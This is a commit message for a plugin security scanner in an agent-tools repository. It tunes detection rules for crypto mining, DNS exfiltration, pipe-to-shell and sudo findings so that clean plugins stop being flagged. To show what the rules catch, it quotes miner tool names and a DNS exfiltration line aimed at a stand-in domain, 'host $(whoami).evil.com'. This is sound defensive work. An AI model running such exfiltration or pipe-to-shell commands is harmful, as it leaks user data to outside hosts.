Files
hermes-agent/tools
teknium1 2be78cbcf7 fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep
Seven more mechanisms that scored clean catalog pins as caution/dangerous,
each fixed at the pattern or context level (no path exclusions):

- crypto_mining: the bare coin name `monero` as a keyword in a connector
  index / search shortlist (`"monero gateway"`, `... monero multimodal ...`)
  lands at medium when nothing on the line names miner software, a pool,
  an algorithm or the act of mining. xmrig / stratum / coinhive /
  cryptonight, or `monero` beside a pool or "miner", keep full severity.
- dns_exfil: `host` is an English noun and an HTTP header. It now needs
  the exfil shape itself (an interpolation inside a domain name,
  `host $(whoami).evil.com`) or a shell command position (`; host $x`,
  `do host $c`). "the connected host (${id})", a JS `host ${status}:`
  message and nginx `Host $host;` no longer match. dig/nslookup unchanged.
- echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell
  alternation is word-bounded, so `| sha256sum -c` is not `| sh`.
- exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`,
  BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call.
- sudo_usage (and any other high, non-agent-facing finding) mid-sentence in
  a `"key": "string"` pair or a bare string list element of a .json data
  file (tips / translation table) takes the README prose cap. Command keys,
  a string that starts with the command (`"sudo",` in an args array),
  package.json and critical findings keep severity.
- test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string
  literal is data, so a hostile-input table no longer counts as executing.
  `os.system(...)`/`exec(...)` outside the literal still do; shell files
  keep the raw line.
- docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and
  `${HOME}`) gets the same note as the `$HOME` form; a wider target or the
  same line in a .sh keeps severity.

curl_pipe_shell in a Python hint string is deliberately unchanged: the
same literal assigned to a variable is the attack shape, and it is only
high (caution) today.

SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 22:05:55 -07:00
..